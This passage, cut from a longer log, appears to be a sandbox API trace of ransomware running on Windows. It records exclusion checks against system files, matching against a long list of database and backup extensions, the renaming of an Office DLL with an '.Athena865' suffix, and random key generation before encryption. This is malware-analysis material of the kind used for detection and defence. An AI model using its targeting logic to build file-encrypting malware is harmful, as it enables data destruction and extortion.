lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.926] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.931] CloseHandle (hObject=0x17c) returned 1 [0084.931] CloseHandle (hObject=0x154) returned 1 [0084.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.934] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SENDTO.DLL", cAlternateFileName="")) returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2=".") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="..") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="windows") returned -1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="bootmgr") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="temp") returned -1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="pagefile.sys") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="boot") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="ids.txt") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="ntuser.dat") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="perflogs") returned 1 [0084.934] lstrcmpiW (lpString1="SENDTO.DLL", lpString2="MSBuild") returned 1 [0084.935] lstrlenW (lpString="SENDTO.DLL") returned 10 [0084.935] lstrcpyW (in: lpString1=0x241e89e, lpString2="SENDTO.DLL" | out: lpString1="SENDTO.DLL") returned="SENDTO.DLL" [0084.935] lstrlenW (lpString="SENDTO.DLL") returned 10 [0084.935] lstrlenW (lpString="Athena865") returned 9 [0084.935] lstrcmpiW (lpString1="ENDTO.DLL", lpString2="Athena865") returned 1 [0084.935] lstrlenW (lpString=".dll") returned 4 [0084.935] lstrcmpiW (lpString1="SENDTO.DLL", lpString2=".dll") returned 1 [0084.935] lstrlenW (lpString=".lnk") returned 4 [0084.935] lstrcmpiW (lpString1="SENDTO.DLL", lpString2=".lnk") returned 1 [0084.935] lstrlenW (lpString=".ini") returned 4 [0084.935] lstrcmpiW (lpString1="SENDTO.DLL", lpString2=".ini") returned 1 [0084.935] lstrlenW (lpString=".sys") returned 4 [0084.935] lstrcmpiW (lpString1="SENDTO.DLL", lpString2=".sys") returned 1 [0084.935] lstrlenW (lpString="SENDTO.DLL") returned 10 [0084.935] lstrlenW (lpString="bak") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.935] lstrlenW (lpString="ba_") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.935] lstrlenW (lpString="dbb") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.935] lstrlenW (lpString="vmdk") returned 4 [0084.935] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.935] lstrlenW (lpString="rar") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.935] lstrlenW (lpString="zip") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.935] lstrlenW (lpString="tgz") returned 3 [0084.935] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.935] lstrlenW (lpString="vbox") returned 4 [0084.935] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.935] lstrlenW (lpString="vdi") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.936] lstrlenW (lpString="vhd") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.936] lstrlenW (lpString="vhdx") returned 4 [0084.936] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.936] lstrlenW (lpString="avhd") returned 4 [0084.936] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.936] lstrlenW (lpString="db") returned 2 [0084.936] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.936] lstrlenW (lpString="db2") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.936] lstrlenW (lpString="db3") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.936] lstrlenW (lpString="dbf") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.936] lstrlenW (lpString="mdf") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.936] lstrlenW (lpString="mdb") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.936] lstrlenW (lpString="sql") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.936] lstrlenW (lpString="sqlite") returned 6 [0084.936] lstrcmpiW (lpString1="TO.DLL", lpString2="sqlite") returned 1 [0084.936] lstrlenW (lpString="sqlite3") returned 7 [0084.936] lstrcmpiW (lpString1="DTO.DLL", lpString2="sqlite3") returned -1 [0084.936] lstrlenW (lpString="sqlitedb") returned 8 [0084.936] lstrcmpiW (lpString1="NDTO.DLL", lpString2="sqlitedb") returned -1 [0084.936] lstrlenW (lpString="xml") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.936] lstrlenW (lpString="$er") returned 3 [0084.936] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.936] lstrlenW (lpString="4dd") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.937] lstrlenW (lpString="4dl") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.937] lstrlenW (lpString="^^^") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.937] lstrlenW (lpString="abs") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.937] lstrlenW (lpString="abx") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.937] lstrlenW (lpString="accdb") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0084.937] lstrlenW (lpString="accdc") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0084.937] lstrlenW (lpString="accde") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0084.937] lstrlenW (lpString="accdr") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0084.937] lstrlenW (lpString="accdt") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0084.937] lstrlenW (lpString="accdw") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0084.937] lstrlenW (lpString="accft") returned 5 [0084.937] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0084.937] lstrlenW (lpString="adb") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.937] lstrlenW (lpString="adb") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.937] lstrlenW (lpString="ade") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.937] lstrlenW (lpString="adf") returned 3 [0084.937] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.937] lstrlenW (lpString="adn") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.938] lstrlenW (lpString="adp") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.938] lstrlenW (lpString="alf") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.938] lstrlenW (lpString="ask") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.938] lstrlenW (lpString="btr") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.938] lstrlenW (lpString="cat") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.938] lstrlenW (lpString="cdb") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.938] lstrlenW (lpString="ckp") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.938] lstrlenW (lpString="cma") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.938] lstrlenW (lpString="cpd") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.938] lstrlenW (lpString="dacpac") returned 6 [0084.938] lstrcmpiW (lpString1="TO.DLL", lpString2="dacpac") returned 1 [0084.938] lstrlenW (lpString="dad") returned 3 [0084.938] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.938] lstrlenW (lpString="dadiagrams") returned 10 [0084.938] lstrlenW (lpString="daschema") returned 8 [0084.938] lstrcmpiW (lpString1="NDTO.DLL", lpString2="daschema") returned 1 [0084.938] lstrlenW (lpString="db-journal") returned 10 [0084.938] lstrlenW (lpString="db-shm") returned 6 [0084.938] lstrcmpiW (lpString1="TO.DLL", lpString2="db-shm") returned 1 [0084.938] lstrlenW (lpString="db-wal") returned 6 [0084.938] lstrcmpiW (lpString1="TO.DLL", lpString2="db-wal") returned 1 [0084.938] lstrlenW (lpString="dbc") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.939] lstrlenW (lpString="dbs") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.939] lstrlenW (lpString="dbt") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.939] lstrlenW (lpString="dbv") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.939] lstrlenW (lpString="dbx") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.939] lstrlenW (lpString="dcb") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.939] lstrlenW (lpString="dct") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.939] lstrlenW (lpString="dcx") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.939] lstrlenW (lpString="ddl") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.939] lstrlenW (lpString="dlis") returned 4 [0084.939] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.939] lstrlenW (lpString="dp1") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.939] lstrlenW (lpString="dqy") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.939] lstrlenW (lpString="dsk") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.939] lstrlenW (lpString="dsn") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.939] lstrlenW (lpString="dtsx") returned 4 [0084.939] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.939] lstrlenW (lpString="dxl") returned 3 [0084.939] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.939] lstrlenW (lpString="eco") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.940] lstrlenW (lpString="ecx") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.940] lstrlenW (lpString="edb") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.940] lstrlenW (lpString="epim") returned 4 [0084.940] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.940] lstrlenW (lpString="fcd") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.940] lstrlenW (lpString="fdb") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.940] lstrlenW (lpString="fic") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.940] lstrlenW (lpString="flexolibrary") returned 12 [0084.940] lstrlenW (lpString="fm5") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.940] lstrlenW (lpString="fmp") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.940] lstrlenW (lpString="fmp12") returned 5 [0084.940] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0084.940] lstrlenW (lpString="fmpsl") returned 5 [0084.940] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0084.940] lstrlenW (lpString="fol") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.940] lstrlenW (lpString="fp3") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.940] lstrlenW (lpString="fp4") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.940] lstrlenW (lpString="fp5") returned 3 [0084.940] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.940] lstrlenW (lpString="fp7") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.941] lstrlenW (lpString="fpt") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.941] lstrlenW (lpString="frm") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.941] lstrlenW (lpString="gdb") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.941] lstrlenW (lpString="gdb") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.941] lstrlenW (lpString="grdb") returned 4 [0084.941] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.941] lstrlenW (lpString="gwi") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.941] lstrlenW (lpString="hdb") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.941] lstrlenW (lpString="his") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.941] lstrlenW (lpString="ib") returned 2 [0084.941] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.941] lstrlenW (lpString="idb") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.941] lstrlenW (lpString="ihx") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.941] lstrlenW (lpString="itdb") returned 4 [0084.941] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.941] lstrlenW (lpString="itw") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.941] lstrlenW (lpString="jet") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.941] lstrlenW (lpString="jtx") returned 3 [0084.941] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.941] lstrlenW (lpString="kdb") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.942] lstrlenW (lpString="kexi") returned 4 [0084.942] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.942] lstrlenW (lpString="kexic") returned 5 [0084.942] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0084.942] lstrlenW (lpString="kexis") returned 5 [0084.942] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0084.942] lstrlenW (lpString="lgc") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.942] lstrlenW (lpString="lwx") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.942] lstrlenW (lpString="maf") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.942] lstrlenW (lpString="maq") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.942] lstrlenW (lpString="mar") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.942] lstrlenW (lpString="marshal") returned 7 [0084.942] lstrcmpiW (lpString1="DTO.DLL", lpString2="marshal") returned -1 [0084.942] lstrlenW (lpString="mas") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.942] lstrlenW (lpString="mav") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.942] lstrlenW (lpString="maw") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.942] lstrlenW (lpString="mdbhtml") returned 7 [0084.942] lstrcmpiW (lpString1="DTO.DLL", lpString2="mdbhtml") returned -1 [0084.942] lstrlenW (lpString="mdn") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.942] lstrlenW (lpString="mdt") returned 3 [0084.942] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.943] lstrlenW (lpString="mfd") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.943] lstrlenW (lpString="mpd") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.943] lstrlenW (lpString="mrg") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.943] lstrlenW (lpString="mud") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.943] lstrlenW (lpString="mwb") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.943] lstrlenW (lpString="myd") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.943] lstrlenW (lpString="ndf") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.943] lstrlenW (lpString="nnt") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.943] lstrlenW (lpString="nrmlib") returned 6 [0084.943] lstrcmpiW (lpString1="TO.DLL", lpString2="nrmlib") returned 1 [0084.943] lstrlenW (lpString="ns2") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.943] lstrlenW (lpString="ns3") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.943] lstrlenW (lpString="ns4") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.943] lstrlenW (lpString="nsf") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.943] lstrlenW (lpString="nv") returned 2 [0084.943] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.943] lstrlenW (lpString="nv2") returned 3 [0084.943] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.943] lstrlenW (lpString="nwdb") returned 4 [0084.944] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.944] lstrlenW (lpString="nyf") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.944] lstrlenW (lpString="odb") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.944] lstrlenW (lpString="odb") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.944] lstrlenW (lpString="oqy") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.944] lstrlenW (lpString="ora") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.944] lstrlenW (lpString="orx") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.944] lstrlenW (lpString="owc") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.944] lstrlenW (lpString="p96") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.944] lstrlenW (lpString="p97") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.944] lstrlenW (lpString="pan") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.944] lstrlenW (lpString="pdb") returned 3 [0084.944] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.945] lstrlenW (lpString="pdm") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.945] lstrlenW (lpString="pnz") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.945] lstrlenW (lpString="qry") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.945] lstrlenW (lpString="qvd") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.945] lstrlenW (lpString="rbf") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.945] lstrlenW (lpString="rctd") returned 4 [0084.945] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.945] lstrlenW (lpString="rod") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.945] lstrlenW (lpString="rodx") returned 4 [0084.945] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.945] lstrlenW (lpString="rpd") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.945] lstrlenW (lpString="rsd") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.945] lstrlenW (lpString="sas7bdat") returned 8 [0084.945] lstrcmpiW (lpString1="NDTO.DLL", lpString2="sas7bdat") returned -1 [0084.945] lstrlenW (lpString="sbf") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.945] lstrlenW (lpString="scx") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.945] lstrlenW (lpString="sdb") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.945] lstrlenW (lpString="sdc") returned 3 [0084.945] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.945] lstrlenW (lpString="sdf") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.946] lstrlenW (lpString="sis") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.946] lstrlenW (lpString="spq") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.946] lstrlenW (lpString="te") returned 2 [0084.946] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.946] lstrlenW (lpString="teacher") returned 7 [0084.946] lstrcmpiW (lpString1="DTO.DLL", lpString2="teacher") returned -1 [0084.946] lstrlenW (lpString="tmd") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.946] lstrlenW (lpString="tps") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.946] lstrlenW (lpString="trc") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.946] lstrlenW (lpString="trc") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.946] lstrlenW (lpString="trm") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.946] lstrlenW (lpString="udb") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.946] lstrlenW (lpString="udl") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.946] lstrlenW (lpString="usr") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.946] lstrlenW (lpString="v12") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.946] lstrlenW (lpString="vis") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.946] lstrlenW (lpString="vpd") returned 3 [0084.946] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.947] lstrlenW (lpString="vvv") returned 3 [0084.947] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.947] lstrlenW (lpString="wdb") returned 3 [0084.947] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.947] lstrlenW (lpString="wmdb") returned 4 [0084.947] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.947] lstrlenW (lpString="wrk") returned 3 [0084.947] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.947] lstrlenW (lpString="xdb") returned 3 [0084.947] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.947] lstrlenW (lpString="xld") returned 3 [0084.947] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.947] lstrlenW (lpString="xmlff") returned 5 [0084.947] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0084.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL.Athena865") returned 63 [0084.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll.athena865"), dwFlags=0x1) returned 1 [0084.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.948] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26992) returned 1 [0084.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.949] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.949] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.949] CreateFileMappingW (hFile=0x154, 